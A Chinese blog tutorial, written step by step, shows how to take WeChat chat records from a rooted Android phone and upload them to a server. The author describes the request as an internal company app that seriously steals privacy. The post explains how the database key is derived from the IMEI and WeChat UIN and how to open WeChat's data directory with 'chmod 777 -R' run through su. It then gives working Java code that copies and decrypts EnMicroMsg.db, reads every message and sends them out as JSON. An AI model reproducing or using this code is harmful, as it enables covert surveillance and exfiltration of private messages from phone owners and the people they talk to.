带你一步步破解Android微信聊天记录解决方案
哪个小可爱在偷偷的看我~~
偷瞄.gif
前言
最近公司需要做个内部应用,需求有通话并录音上传服务器,微信聊天记录上传服务器,我擦,竟然要做严重窃取隐私的功能,一万个草泥马奔腾而来,于是乎开始研究如何实现,网上的文章都不是很详细,本篇文章带你来一步步实现如何获取微信聊天记录,通话录音上传另一篇文章将予介绍
微信的聊天记录保存在Android内核中,路径如下:
"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
目录下。
说明
1、微信聊天记录数据库它并不是保存sd卡下,而是保存在内核中,手机是看不到此目录,只有root过后才可以看到,至于如何Root这里就不做介绍了,如今手机越来越趋向于安全方面,所以root比较费事
2、数据库保存在data/data目录下,我们需要访问此目录以获得我们需要的信息,直接访问权限还是不够,此时需要进一步获取root权限
3、代码打开数据库,会遇到如下几个问题
(1) 微信数据库是加密文件,需要获取密码才能打开,数据库密码为 《MD5(手机的IMEI+微信UIN)的前七位》
(2) 微信数据库路径是一长串数字,如5a670a2e0d0c10dea9c7a4a49b812ce4
,文件生成规则《MD5(“mm”+微信UIN)》
,注:mm
是字符串和微信uin
拼接到一起再md5
(3) 直接连接数据库微信会报异常,所以需要我们将数据库拷贝出来再进行打开
(4) 获取微信UIN,目录位置在/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml
中,_auth_uin
字段下的value
值
(5) 获取数据库密码,密码规则为:MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
4、打开加密数据库,因为微信数据是sqlite 2.0,所以需要支持2.0才可以打开,网上介绍的最多的是用这个第三方net.zetetic:android-database-sqlcipher:4.2.0@aar,但经测试不可行,后来选择用微信开源数据库com.tencent.wcdb:wcdb-android:1.0.0
5、开始查找需要的内容,剩下的就是sq语言了,聊天记录在message表中,好友在rcontact表中,群信息在chatroom表中等,根据自己需求去查找
6、为了更直观的看到表结构去操作,可以用sqlcipher去查看下载地址
开始一步步实现
1、获取root手机
有好多root工具,经过踩坑是一键root不了6.0以上手机的,大家可以去选择其他方案去获取root手机
2、项目获取微信数据库目录路径root最高权限
因为只有获取了root最高权限才可以对文件进行操作,通过Linux命令去申请chmod 777 -R
WX_ROOT_PATH="/data/data/com.tencent.mm/";
申请时调用execRootCmd("chmod 777 -R " + WeChatUtil.WX_ROOT_PATH);
方法如下
/**
* execRootCmd("chmod 777 -R /data/data/com.tencent.mm");
* <p>
* 执行linux指令 获取 root最高权限
*/
public static void execRootCmd(String paramString) {
try {
Process localProcess = Runtime.getRuntime().exec("su");
Object localObject = localProcess.getOutputStream();
localDataOutputStream = new DataOutputStream((OutputStream) localObject);
String str = String.valueOf(paramString);
localObject = str + "\n";
localDataOutputStream.writeBytes((String) localObject);
localDataOutputStream.flush();
localDataOutputStream.writeBytes("exit\n");
localDataOutputStream.flush();
localProcess.waitFor();
localObject = localProcess.exitValue();
} catch (Exception localException) {
localException.printStackTrace();
}finally {
if (localDataOutputStream!=null){
try {
localDataOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
3、拿到数据库EnMicroMsg.db路径
先看下数据库路径/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
因为EnMicroMsg.db父级路径不同微信号是会变的,所以需要动态去获取,父级路径生成规则为《MD5(“mm”+微信UIN)》,下一步我们需要获取微信的uin
WX_DB_DIR_PATH=/data/data/com.tencent.mm/MicroMsg/
整体路径为WX_DB_DIR_PATH+《MD5(“mm”+微信UIN)》+/EnMicroMsg.db
4、获取微信uin
微信uin存储路径在\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml
中,如图所示
拿到此文件我们需要xml文件解析才可以获得
_auth_uin
的value
,解析工具dom4j下载地址
/**
* 获取微信的uid
* 目标 _auth_uin
* 存储位置为\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml
*/
public static String initCurrWxUin(final Activity context) {
String mCurrWxUin = null;
File file = new File(WX_SP_UIN_PATH);
try {
in = new FileInputStream(file);
SAXReader saxReader = new SAXReader();
Document document = saxReader.read(in);
Element root = document.getRootElement();
List<Element> elements = root.elements();
for (Element element : elements) {
if ("_auth_uin".equals(element.attributeValue("name"))) {
mCurrWxUin = element.attributeValue("value");
}
}
return mCurrWxUin;
} catch (Exception e) {
e.printStackTrace();
if(MainActivity.isDebug){
Log.e("initCurrWxUin", "获取微信uid失败,请检查auth_info_key_prefs文件权限");
}
context.runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(context, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
}
});
}finally {
try {
if(in!=null){
in.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
return "";
}
5、获取微信数据库密码
密码规则为MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
上边我们已经获取了微信uin
,接下来需要获取手机IMEI,
获取方法1:在手机拨号键输入:*#06# 即可获取
获取方法2:代码中获取
/**
* 获取手机的imei
*
* @return
*/
@SuppressLint("MissingPermission")
private static String getPhoneIMEI(Context mContext) {
String id;
//android.telephony.TelephonyManager
TelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
if (mTelephony.getDeviceId() != null) {
id = mTelephony.getDeviceId();
} else {
//android.provider.Settings;
id = Settings.Secure.getString(mContext.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
}
return id;
}
接下来需要生成密码
/**
* 根据imei和uin生成的md5码获取数据库的密码
*
* @return
*/
public static String initDbPassword(final Activity mContext) {
String imei = initPhoneIMEI(mContext);
//以为不同手机微信拿到的识别码不一样,所以需要做特别处理,可能是MEID,可能是 IMEI1,可能是IMEI2
if("868739046004754".equals(imei)){
imei = "99001184251238";
}
else if("99001184249875".equals(imei)){
imei = "868739045977497";
}
String uin = initCurrWxUin(mContext);
if(BaseApp.isDebug){
Log.e("initDbPassword", "imei===" + imei);
Log.e("initDbPassword", "uin===" + uin);
}
try {
if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {
if(BaseApp.isDebug){
Log.e("initDbPassword", "初始化数据库密码失败:imei或uid为空");
}
mContext.runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(mContext, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
}
});
return "";
}
String md5 = Md5Utils.md5Encode(imei + uin);
String password = md5.substring(0, 7).toLowerCase();
if(BaseApp.isDebug){
Log.e("initDbPassword", password);
}
return password;
} catch (Exception e) {
if(BaseApp.isDebug){
Log.e("initDbPassword", e.getMessage());
}
}
return "";
}
6、复制数据库
为啥要复制数据库呢?因为直接去链接数据库微信会奔溃,所以我们需要将数据库拷贝出来再进行操作
踩坑1:数据库复制的路径也需要获取root权限,即Linux 的chmod 777 -R去申请
踩坑2:复制的路径如果是二级目录,需要一级一级去申请
于是我直接放到根目录下了copyPath = Environment.getExternalStorageDirectory().getPath() + "/";
再获取root最高权限execRootCmd("chmod 777 -R " + copyPath);
path=/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
复制数据库 FileUtilCopy.copyFile(path, copyFilePath);
public class FileUtilCopy {
private static FileOutputStream fs;
private static InputStream inStream;
/**
* 复制单个文件
*
* @param oldPath String 原文件路径 如:c:/fqf.txt
* @param newPath String 复制后路径 如:f:/fqf.txt
* @return boolean
*/
public static void copyFile(String oldPath, String newPath) {
try {
int byteRead = 0;
File oldFile = new File(oldPath);
//文件存在时
if (oldFile.exists()) {
//读入原文件
inStream = new FileInputStream(oldPath);
fs = new FileOutputStream(newPath);
byte[] buffer = new byte[1444];
while ((byteRead = inStream.read(buffer)) != -1) {
fs.write(buffer, 0, byteRead);
}
}
} catch (Exception e) {
if (BaseApp.isDebug) {
Log.e("copyFile", "复制单个文件操作出错");
}
e.printStackTrace();
} finally {
try {
if (inStream != null) {
inStream.close();
}
if (fs != null) {
fs.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
7、打开数据库
注:网上好多介绍都是用net.zetetic:android-database-sqlcipher:4.2.0@aar去打开的,但经过测试打不开
于是用了微信自家开源的数据库打开了com.tencent.wcdb:wcdb-android:1.0.0,微信还是对自家人友善
/**
* 连接数据库
*/
public void openWxDb(File dbFile, final Activity mContext, String mDbPassword) {
SQLiteCipherSpec cipher = new SQLiteCipherSpec() // 加密描述对象
.setPageSize(1024) // SQLCipher 默认 Page size 为 1024
.setSQLCipherVersion(1); // 1,2,3 分别对应 1.x, 2.x, 3.x 创建的 SQLCipher 数据库
try {
//打开数据库连接
System.out.println(dbFile.length() + "================================");
SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(
dbFile, // DB 路径
mDbPassword.getBytes(), // WCDB 密码参数类型为 byte[]
cipher, // 上面创建的加密描述对象
null, // CursorFactory
null // DatabaseErrorHandler
// SQLiteDatabaseHook 参数去掉了,在cipher里指定参数可达到同样目的
);
//获取消息记录
getReMessageData(db);
} catch (Exception e) {
Log.e("openWxDb", "读取数据库信息失败" + e.toString());
runOnUiThread(new Runnable() {
@Override
public void run() {
showToast("读取数据库信息失败");
L.e("读取数据库信息失败");
}
});
}
}
8、演示获取微信聊天记录并上传
可以让后台保存最后上传时间,下次上传新消息时用最后时间取查
注:微信数据库时间精确到毫秒
String messageSql = "select * from message where createTime >";
/**
* 获取聊天记录并上传
*
* @param db
*/
public void getReMessageData(SQLiteDatabase db) {
Cursor cursor3 = null;
if (BaseApp.isDebug) {
// Log.e("query查询分割时间", DateUtil.timeStamp2Date(longLastUpdateTime + EMPTY));
}
try {
//判断是否强制更新所有的记录
if (mLastTime == 0) {
//如果是选择全部,则sql 为0
if (true) {
cursor3 = db.rawQuery(messageSql + 0, null);
Log.e("query", "更新状态:更新全部记录" + messageSql + 0);
} else {
//不是选择全部,则sql 为用户输入值
// String searchMessageSql = messageSql + addTimestamp+ " and createTime < "+endTimestamp;
// cursor3 = db.rawQuery(searchMessageSql, null);
// Log.e("query", "更新状态:更新选择的全部记录" + searchMessageSql);
}
} else {
Log.e("query", "按时间节点查询" + messageSql +mLastTime);
cursor3 = db.rawQuery((messageSql + mLastTime), null);
// Log.e("query", "更新状态:增量更新部分记录" + messageSql + longLastUpdateTime);
}
List<WeChatMessageBean> weChatMessageBeans = new ArrayList<>();
while (cursor3.moveToNext()) {
String content = cursor3.getString(cursor3.getColumnIndex("content"));
if (content != null && !TextUtils.isEmpty(content)) {
WeChatMessageBean messageBean = new WeChatMessageBean();
String msg_id = cursor3.getString(cursor3.getColumnIndex("msgId"));
int type = cursor3.getInt(cursor3.getColumnIndex("type"));
int status = cursor3.getInt(cursor3.getColumnIndex("status"));
int is_send = cursor3.getInt(cursor3.getColumnIndex("isSend"));
String create_time = cursor3.getString(cursor3.getColumnIndex("createTime"));
String talker = cursor3.getString(cursor3.getColumnIndex("talker"));
messageBean.setMsg_id(msg_id);
messageBean.setType(type);
messageBean.setStatus(status);
messageBean.setIs_send(is_send);
messageBean.setCreate_time(create_time);
messageBean.setContent(content);
messageBean.setTalker(talker);
weChatMessageBeans.add(messageBean);
}
}
if (weChatMessageBeans.size() < 1) {
L.e("当前无最新消息>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>");
return;
}
//3.把list或对象转化为json
Gson gson2 = new Gson();
String str = gson2.toJson(weChatMessageBeans);
if (BaseApp.isDebug) {
Logger.json(str);
}
//上传服务器
mPresenter.getWechatRecordSuccess(str);
} catch (Exception e) {
Log.e("openWxDb", "读取数据库信息失败" + e.toString());
runOnUiThread(new Runnable() {
@Override
public void run() {
L.e("读取数据库信息失败");
showToast("读取数据库信息失败");
}
});
} finally {
if (cursor3 != null) {
cursor3.close();
}
if (db != null) {
db.close();
}
}
}
9、pc端更直观去查看数据库结构可通过sqlcipher
去查看下载地址
"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
将数据库EnMicroMsg.db
拷贝到电脑上
用SQLit打开
数据库3.png
最后祝大家开发愉快!